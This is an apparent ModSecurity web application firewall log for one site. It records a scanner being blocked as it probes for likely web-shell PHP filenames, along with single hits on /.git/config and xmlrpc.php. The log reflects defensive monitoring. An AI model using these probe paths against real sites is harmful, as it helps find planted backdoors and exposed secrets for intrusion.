[Thu Apr 16 03:38:10.049626 2026] [:error] [pid 54651:tid 54719] [client 20.91.140.49:40288] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "ad_pImr-aGmBfIUdvtU33QAAAYM"]
[Thu Apr 16 03:38:10.896336 2026] [:error] [pid 53379:tid 53561] [client 20.91.140.49:42125] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "ad_pIgcGfTk8pWJEtyBJwgAAAIw"]
[Thu Apr 16 03:38:12.554845 2026] [:error] [pid 54649:tid 54694] [client 20.91.140.49:27062] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ad_pJIbAwKa2q4r1Rocu0AAAAUU"]
[Thu Apr 16 03:38:14.850429 2026] [:error] [pid 53372:tid 53523] [client 20.91.140.49:34804] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ad_pJrPhhzWT6ZgixWAkewAAAEI"]
[Thu Apr 16 03:38:16.131341 2026] [:error] [pid 53810:tid 53871] [client 20.91.140.49:34805] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ad_pKPKZNZR3VueruyLSxgAAANU"]
[Thu Apr 16 03:38:17.164494 2026] [:error] [pid 53372:tid 53534] [client 20.91.140.49:7101] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ad_pKbPhhzWT6ZgixWAkfAAAAE0"]
[Thu Apr 16 03:38:18.242845 2026] [:error] [pid 53379:tid 53571] [client 20.91.140.49:34770] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "ad_pKgcGfTk8pWJEtyBJxgAAAJY"]
[Thu Apr 16 03:38:19.160114 2026] [:error] [pid 54651:tid 54739] [client 20.91.140.49:43592] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "ad_pK2r-aGmBfIUdvtU35AAAAZc"]
[Thu Apr 16 03:38:19.797927 2026] [:error] [pid 53810:tid 53859] [client 20.91.140.49:62094] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "ad_pK_KZNZR3VueruyLSyAAAAMk"]
[Thu Apr 16 03:38:20.867652 2026] [:error] [pid 54651:tid 54717] [client 20.91.140.49:37790] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "ad_pLGr-aGmBfIUdvtU35gAAAYE"]
[Thu Apr 16 03:38:22.006609 2026] [:error] [pid 54651:tid 54727] [client 20.91.140.49:48519] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboutc.php"] [unique_id "ad_pLmr-aGmBfIUdvtU37AAAAYs"]
[Thu Apr 16 03:38:23.078945 2026] [:error] [pid 54651:tid 54737] [client 20.91.140.49:28410] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboutc.php"] [unique_id "ad_pL2r-aGmBfIUdvtU38AAAAZU"]
[Thu Apr 16 03:38:24.054596 2026] [:error] [pid 54601:tid 54611] [client 20.91.140.49:61323] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboutc.php"] [unique_id "ad_pMHokGsMySRrOWHLS-AAAAQg"]
[Thu Apr 16 03:38:25.004133 2026] [:error] [pid 54651:tid 54740] [client 20.91.140.49:62538] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboutc.php"] [unique_id "ad_pMWr-aGmBfIUdvtU38wAAAZg"]
[Thu Apr 16 03:38:26.525848 2026] [:error] [pid 53810:tid 53860] [client 20.91.140.49:46312] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "ad_pMvKZNZR3VueruyLSygAAAMo"]
[Thu Apr 16 03:38:27.590866 2026] [:error] [pid 54651:tid 54731] [client 20.91.140.49:62360] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "ad_pM2r-aGmBfIUdvtU39wAAAY8"]
[Thu Apr 16 03:38:54.367519 2026] [:error] [pid 54649:tid 54705] [client 192.250.239.237:40902] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.239.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_pTobAwKa2q4r1Rocu8gAAAVA"]
[Thu Apr 16 03:38:55.125828 2026] [:error] [pid 54651:tid 54730] [client 20.91.140.49:24236] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ad_pT2r-aGmBfIUdvtU4LQAAAY4"]
[Thu Apr 16 03:38:55.811626 2026] [:error] [pid 54651:tid 54735] [client 20.91.140.49:62569] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ad_pT2r-aGmBfIUdvtU4MQAAAZM"]
[Thu Apr 16 03:38:56.377484 2026] [:error] [pid 54651:tid 54723] [client 20.91.140.49:49887] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ad_pUGr-aGmBfIUdvtU4MwAAAYc"]
[Thu Apr 16 03:38:57.387986 2026] [:error] [pid 54651:tid 54740] [client 20.91.140.49:26514] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ad_pUWr-aGmBfIUdvtU4OQAAAZg"]
[Thu Apr 16 03:38:58.825445 2026] [:error] [pid 54651:tid 54732] [client 20.91.140.49:63527] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "ad_pUmr-aGmBfIUdvtU4QQAAAZA"]
[Thu Apr 16 03:38:59.955128 2026] [:error] [pid 54651:tid 54723] [client 20.91.140.49:62390] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "ad_pU2r-aGmBfIUdvtU4SAAAAYc"]
[Thu Apr 16 03:39:01.158074 2026] [:error] [pid 54649:tid 54699] [client 20.91.140.49:41094] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "ad_pVYbAwKa2q4r1Rocu-AAAAUo"]
[Thu Apr 16 03:39:01.830710 2026] [:error] [pid 54651:tid 54722] [client 20.91.140.49:45731] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "ad_pVWr-aGmBfIUdvtU4TwAAAYY"]
[Thu Apr 16 03:39:02.705007 2026] [:error] [pid 54649:tid 54703] [client 20.91.140.49:51218] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "ad_pVobAwKa2q4r1Rocu-QAAAU4"]
[Thu Apr 16 03:39:03.513543 2026] [:error] [pid 54601:tid 54617] [client 20.91.140.49:62578] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "ad_pV3okGsMySRrOWHLTRQAAAQ4"]
[Thu Apr 16 03:39:04.859380 2026] [:error] [pid 54649:tid 54692] [client 20.91.140.49:45720] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "ad_pWIbAwKa2q4r1Rocu-gAAAUM"]
[Thu Apr 16 03:39:06.312997 2026] [:error] [pid 54651:tid 54726] [client 20.91.140.49:56671] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "ad_pWmr-aGmBfIUdvtU4XAAAAYo"]
[Thu Apr 16 03:39:07.399674 2026] [:error] [pid 53372:tid 53545] [client 20.91.140.49:41112] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ad_pW7PhhzWT6ZgixWAkogAAAFg"]
[Thu Apr 16 03:39:07.971449 2026] [:error] [pid 53372:tid 53528] [client 20.91.140.49:56651] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ad_pW7PhhzWT6ZgixWAkpQAAAEc"]
[Thu Apr 16 03:39:08.900791 2026] [:error] [pid 54649:tid 54700] [client 20.91.140.49:6228] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ad_pXIbAwKa2q4r1RocvAAAAAUs"]
[Thu Apr 16 03:39:09.655894 2026] [:error] [pid 54651:tid 54732] [client 20.91.140.49:56667] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ad_pXWr-aGmBfIUdvtU4YQAAAZA"]
[Thu Apr 16 03:39:10.490766 2026] [:error] [pid 54651:tid 54739] [client 20.91.140.49:48975] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "ad_pXmr-aGmBfIUdvtU4YgAAAZc"]
[Thu Apr 16 03:39:11.342616 2026] [:error] [pid 54601:tid 54603] [client 20.91.140.49:49898] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "ad_pX3okGsMySRrOWHLTTgAAAQA"]
[Thu Apr 16 03:39:13.210067 2026] [:error] [pid 54649:tid 54692] [client 20.91.140.49:56649] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "ad_pYYbAwKa2q4r1RocvDQAAAUM"]
[Thu Apr 16 03:39:14.164638 2026] [:error] [pid 53371:tid 53458] [client 20.91.140.49:63541] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "ad_pYvQHlhdn5M13lAL-LgAAAAI"]
[Thu Apr 16 03:39:15.500575 2026] [:error] [pid 54649:tid 54689] [client 13.83.162.4:37151] [client 13.83.162.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad_pY4bAwKa2q4r1RocvEAAAAUA"], referer: https://www.google.com/
[Thu Apr 16 03:39:15.795218 2026] [:error] [pid 54651:tid 54718] [client 20.91.140.49:56175] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ad_pY2r-aGmBfIUdvtU4aAAAAYI"]
[Thu Apr 16 03:39:16.803654 2026] [:error] [pid 54651:tid 54720] [client 20.91.140.49:63537] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ad_pZGr-aGmBfIUdvtU4agAAAYQ"]
[Thu Apr 16 03:39:17.594818 2026] [:error] [pid 54651:tid 54731] [client 20.91.140.49:24231] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ad_pZWr-aGmBfIUdvtU4vAAAAY8"]
[Thu Apr 16 03:39:18.304958 2026] [:error] [pid 54601:tid 54606] [client 20.91.140.49:56698] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ad_pZnokGsMySRrOWHLTbwAAAQM"]
[Thu Apr 16 03:39:18.860603 2026] [:error] [pid 53371:tid 53472] [client 20.91.140.49:27072] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "ad_pZvQHlhdn5M13lAL-NgAAAA8"]
[Thu Apr 16 03:39:19.466941 2026] [:error] [pid 54651:tid 54728] [client 20.91.140.49:41097] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "ad_pZ2r-aGmBfIUdvtU42AAAAYw"]
[Thu Apr 16 03:39:20.022581 2026] [:error] [pid 53371:tid 53459] [client 20.91.140.49:62585] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "ad_paPQHlhdn5M13lAL-NwAAAAM"]
[Thu Apr 16 03:39:20.767006 2026] [:error] [pid 54601:tid 54614] [client 20.91.140.49:46299] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "ad_paHokGsMySRrOWHLTcgAAAQs"]
[Thu Apr 16 03:39:21.336366 2026] [:error] [pid 54649:tid 54699] [client 20.91.140.49:62361] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ad_paYbAwKa2q4r1RocvLgAAAUo"]
[Thu Apr 16 03:39:21.987224 2026] [:error] [pid 54651:tid 54725] [client 20.91.140.49:62579] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ad_paWr-aGmBfIUdvtU45QAAAYk"]
[Thu Apr 16 03:39:22.597685 2026] [:error] [pid 54651:tid 54733] [client 20.91.140.49:27077] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ad_pamr-aGmBfIUdvtU45wAAAZE"]
[Thu Apr 16 03:39:23.282920 2026] [:error] [pid 54651:tid 54722] [client 20.91.140.49:62530] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ad_pa2r-aGmBfIUdvtU46QAAAYY"]
[Thu Apr 16 03:39:23.948536 2026] [:error] [pid 53379:tid 53569] [client 20.91.140.49:24215] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "ad_pawcGfTk8pWJEtyBJ1AAAAJQ"]
[Thu Apr 16 03:39:24.535735 2026] [:error] [pid 54651:tid 54737] [client 20.91.140.49:51219] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "ad_pbGr-aGmBfIUdvtU46gAAAZU"]
[Thu Apr 16 03:39:25.092687 2026] [:error] [pid 54601:tid 54607] [client 20.91.140.49:56657] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "ad_pbXokGsMySRrOWHLTcwAAAQQ"]
[Thu Apr 16 03:39:25.914106 2026] [:error] [pid 53371:tid 53462] [client 20.91.140.49:63535] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "ad_pbfQHlhdn5M13lAL-OQAAAAU"]
[Thu Apr 16 03:39:26.466144 2026] [:error] [pid 54601:tid 54604] [client 20.91.140.49:62541] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8573.php"] [unique_id "ad_pbnokGsMySRrOWHLTdAAAAQE"]
[Thu Apr 16 03:39:27.035031 2026] [:error] [pid 54601:tid 54603] [client 20.91.140.49:6444] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8573.php"] [unique_id "ad_pb3okGsMySRrOWHLTdQAAAQA"]
